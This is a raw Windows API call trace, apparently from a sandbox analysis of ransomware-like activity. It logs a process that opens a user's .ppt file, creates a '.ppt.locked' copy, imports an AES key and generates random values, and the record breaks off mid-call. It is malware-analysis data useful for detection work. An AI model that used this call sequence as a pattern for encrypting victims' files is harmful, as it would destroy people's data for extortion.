(param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\x447e\x9a10\x265a\x4ce9\xeb63\x3251\x2a42\x8e02") returned 0x20 [0126.597] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0126.597] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YT촢럝") returned 0x20 [0126.597] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0126.598] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\x596f\x1382\xebca\x2475\xe9a9\xbb9a\x57b1\x5b51") returned 0x20 [0126.598] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\x596f\x1382\xebca\x2475\xe9a9\xbb9a\x57b1\x5b51") returned 0x20 [0126.598] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0126.598] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZ럝") returned 0x20 [0126.598] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0126.598] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\x6120\xe211\x4924\xf329\x5954\x1650\x625b\xd5ef") returned 0x20 [0126.598] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\x6120\xe211\x4924\xf329\x5954\x1650\x625b\xd5ef") returned 0x20 [0126.598] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0126.598] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZl") returned 0x20 [0126.598] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0126.598] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498") returned 0x20 [0126.598] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498") returned 0x20 [0126.598] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498") returned 0x20 [0126.598] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498") returned 0x28 [0126.598] SystemFunction041 (in: Memory=0x8e6f4e4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e6f4e4) returned 0x0 [0126.598] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZlYᘎ柟፽굥ᑋ") returned 0x28 [0126.599] SystemFunction040 (in: Memory=0x8e6f4e4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e6f4e4) returned 0x0 [0126.599] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x440c\x1abc\x5d33\x886\x613f\xed12\x8dce\x52d5") returned 0x28 [0126.599] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x440c\x1abc\x5d33\x886\x613f\xed12\x8dce\x52d5") returned 0x28 [0126.599] SystemFunction041 (in: Memory=0x8e6f4e4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e6f4e4) returned 0x0 [0126.599] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZlYm柟፽굥ᑋ") returned 0x28 [0126.599] SystemFunction040 (in: Memory=0x8e6f4e4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e6f4e4) returned 0x0 [0126.599] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\xf580\x4314\xb5cd\xf10a\x3db6\x7e34\x4979\xc8b9") returned 0x28 [0126.599] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\xf580\x4314\xb5cd\xf10a\x3db6\x7e34\x4979\xc8b9") returned 0x28 [0126.599] SystemFunction041 (in: Memory=0x8e6f4e4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e6f4e4) returned 0x0 [0126.599] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZlYmY፽굥ᑋ") returned 0x28 [0126.599] SystemFunction040 (in: Memory=0x8e6f4e4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e6f4e4) returned 0x0 [0126.599] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x1619\x82d\x1bf3\x12ab\x9333\x75d9\x3b3a\xe1e8") returned 0x28 [0126.599] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x1619\x82d\x1bf3\x12ab\x9333\x75d9\x3b3a\xe1e8") returned 0x28 [0126.599] SystemFunction041 (in: Memory=0x8e6f4e4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e6f4e4) returned 0x0 [0126.599] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZlYmY0፽굥ᑋ") returned 0x28 [0126.599] SystemFunction040 (in: Memory=0x8e6f4e4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e6f4e4) returned 0x0 [0126.599] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x2d34\x22d\x1f9b\x41c3\x7a3b\xdfbe\x223c\xc5f3") returned 0x28 [0126.599] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x2d34\x22d\x1f9b\x41c3\x7a3b\xdfbe\x223c\xc5f3") returned 0x28 [0126.600] SystemFunction041 (in: Memory=0x8e6f4e4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e6f4e4) returned 0x0 [0126.600] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZlYmY0N굥ᑋ") returned 0x28 [0126.600] SystemFunction040 (in: Memory=0x8e6f4e4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e6f4e4) returned 0x0 [0126.600] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x70e7\x9778\xf41b\x35a4\x29ea\x7616\x9cd\x19e3") returned 0x28 [0126.600] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x70e7\x9778\xf41b\x35a4\x29ea\x7616\x9cd\x19e3") returned 0x28 [0126.600] SystemFunction041 (in: Memory=0x8e6f4e4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e6f4e4) returned 0x0 [0126.600] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZlYmY0NTᑋ") returned 0x28 [0126.600] SystemFunction040 (in: Memory=0x8e6f4e4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e6f4e4) returned 0x0 [0126.600] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x46cc\x8f10\x2a8e\x376c\x9fc1\x19c4\x83b7\x6d7c") returned 0x28 [0126.600] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x46cc\x8f10\x2a8e\x376c\x9fc1\x19c4\x83b7\x6d7c") returned 0x28 [0126.600] SystemFunction041 (in: Memory=0x8e6f4e4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e6f4e4) returned 0x0 [0126.600] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZlYmY0NTAᑋ") returned 0x28 [0126.600] SystemFunction040 (in: Memory=0x8e6f4e4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e6f4e4) returned 0x0 [0126.600] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\xfed7\xc832\xd0f1\x4f86\x1ac\x2010\xca10\x76f8") returned 0x28 [0126.600] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\xfed7\xc832\xd0f1\x4f86\x1ac\x2010\xca10\x76f8") returned 0x28 [0126.600] SystemFunction041 (in: Memory=0x8e6f4e4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e6f4e4) returned 0x0 [0126.601] SystemFunction040 (in: Memory=0x8e6f4e4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e6f4e4) returned 0x0 [0126.601] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x5a6f\x5070\x4b01\x94a0\xc6ff\x7ef2\xe478\x441f") returned 0x28 [0126.601] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x5a6f\x5070\x4b01\x94a0\xc6ff\x7ef2\xe478\x441f") returned 0x28 [0126.601] SystemFunction041 (in: Memory=0x8e30d64, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e30d64) returned 0x0 [0126.601] SystemFunction040 (in: Memory=0x8e30d64, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e30d64) returned 0x0 [0126.601] SystemFunction041 (in: Memory=0x8e30d64, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e30d64) returned 0x0 [0126.601] SystemFunction040 (in: Memory=0x8e30d64, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e30d64) returned 0x0 [0126.601] SystemFunction041 (in: Memory=0x8e30d64, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e30d64) returned 0x0 [0126.601] SystemFunction040 (in: Memory=0x8e30d64, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e30d64) returned 0x0 [0126.601] SystemFunction041 (in: Memory=0x8e30d64, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e30d64) returned 0x0 [0126.602] SystemFunction040 (in: Memory=0x8e30d64, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e30d64) returned 0x0 [0126.602] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae8f0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae8f0*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xbb, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0126.602] SystemFunction041 (in: Memory=0x8e30d64, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e30d64) returned 0x0 [0126.602] SystemFunction040 (in: Memory=0x8e30d64, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e30d64) returned 0x0 [0126.603] CryptAcquireContextW (in: phProv=0x99ae670, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x99ae670*=0x8e027a0) returned 1 [0126.604] CryptImportKey (in: hProv=0x8e027a0, pbData=0x6a50f28, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x1, phKey=0x99aea48 | out: phKey=0x99aea48*=0x8e84af8) returned 1 [0126.604] CryptContextAddRef (hProv=0x8e027a0, pdwReserved=0x0, dwFlags=0x0) returned 1 [0126.604] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae748, nSize=0x100 | out: lpBuffer="ภڥ") returned 0x0 [0126.604] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99aeb20*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99aeb20*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xbc, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0126.604] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99aea80*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99aea80*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xbb, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0126.604] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99aeb10*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xbc, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99aeb10*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xbc, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0126.605] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U\\piEhyZXpexRShbLI8IsB.ppt" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\fjkymwc6kn-3qxyej 1u\\piehyzxpexrshbli8isb.ppt")) returned 0x20 [0126.607] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U\\piEhyZXpexRShbLI8IsB.ppt" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\fjkymwc6kn-3qxyej 1u\\piehyzxpexrshbli8isb.ppt")) returned 0x20 [0126.607] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U\\piEhyZXpexRShbLI8IsB.ppt", nBufferLength=0x105, lpBuffer=0x99ae400, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U\\piEhyZXpexRShbLI8IsB.ppt", lpFilePart=0x0) returned 0x4b [0126.607] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U\\piEhyZXpexRShbLI8IsB.ppt", nBufferLength=0x105, lpBuffer=0x99ae3c4, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U\\piEhyZXpexRShbLI8IsB.ppt", lpFilePart=0x0) returned 0x4b [0126.607] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99aeaac*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99aeaac*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xbc, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0126.608] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U\\piEhyZXpexRShbLI8IsB.ppt", nBufferLength=0x105, lpBuffer=0x99ae5a8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U\\piEhyZXpexRShbLI8IsB.ppt", lpFilePart=0x0) returned 0x4b [0126.608] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U\\piEhyZXpexRShbLI8IsB.ppt", nBufferLength=0x105, lpBuffer=0x99ae4a0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U\\piEhyZXpexRShbLI8IsB.ppt", lpFilePart=0x0) returned 0x4b [0126.608] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae590, nSize=0x100 | out: lpBuffer="") returned 0x0 [0126.608] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae968*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae968*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xbd, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0126.608] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae8c8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae8c8*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xbc, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0126.608] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae958*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xbd, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae958*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xbd, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0126.608] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U\\piEhyZXpexRShbLI8IsB.ppt", nBufferLength=0x105, lpBuffer=0x99add60, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U\\piEhyZXpexRShbLI8IsB.ppt", lpFilePart=0x0) returned 0x4b [0126.608] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae254) returned 1 [0126.608] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U\\piEhyZXpexRShbLI8IsB.ppt" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\fjkymwc6kn-3qxyej 1u\\piehyzxpexrshbli8isb.ppt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x878 [0126.609] GetFileType (hFile=0x878) returned 0x1 [0126.609] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae250) returned 1 [0126.609] GetFileType (hFile=0x878) returned 0x1 [0126.609] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae8f4*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae8f4*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xbd, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0126.609] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae590, nSize=0x100 | out: lpBuffer="\x1000\x727a\xe67c\x99a\x2810\x64b\x1228\x64b\xbab0\x42f\x14\x01\x1230\x64b\xd440\x73ae\x20") returned 0x0 [0126.609] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae968*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae968*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xbe, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0126.609] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae8c8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae8c8*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xbd, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0126.609] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae958*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xbe, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae958*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xbe, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0126.610] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U\\piEhyZXpexRShbLI8IsB.ppt.locked", nBufferLength=0x105, lpBuffer=0x99add60, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U\\piEhyZXpexRShbLI8IsB.ppt.locked", lpFilePart=0x0) returned 0x52 [0126.610] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae254) returned 1 [0126.610] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U\\piEhyZXpexRShbLI8IsB.ppt.locked" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\fjkymwc6kn-3qxyej 1u\\piehyzxpexrshbli8isb.ppt.locked"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x86c [0126.610] GetFileType (hFile=0x86c) returned 0x1 [0126.610] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae250) returned 1 [0126.610] GetFileType (hFile=0x86c) returned 0x1 [0126.610] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae8f4*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae8f4*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xbe, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0126.610] CryptGenRandom (in: hProv=0x8e027a0, dwLen=0x10, pbBuffer=0x6a69bfc | out: pbBuffer=0x6a69bfc) returned 1 [0126.611] CryptContextAddRef (hProv=0x8e027a0, pdwReserved=0x0, dwFlags=0x0) returned 1 [0126.611] CryptDuplicateKey (in: hKey=0x8e84af8, pdwReserved=0x0, dwFlags=0x0, phKey=0x99ae9f8 | out: phKey=0x99ae9f8*=0x8e84f78) returned 1 [0126.611] CryptContextAddRef 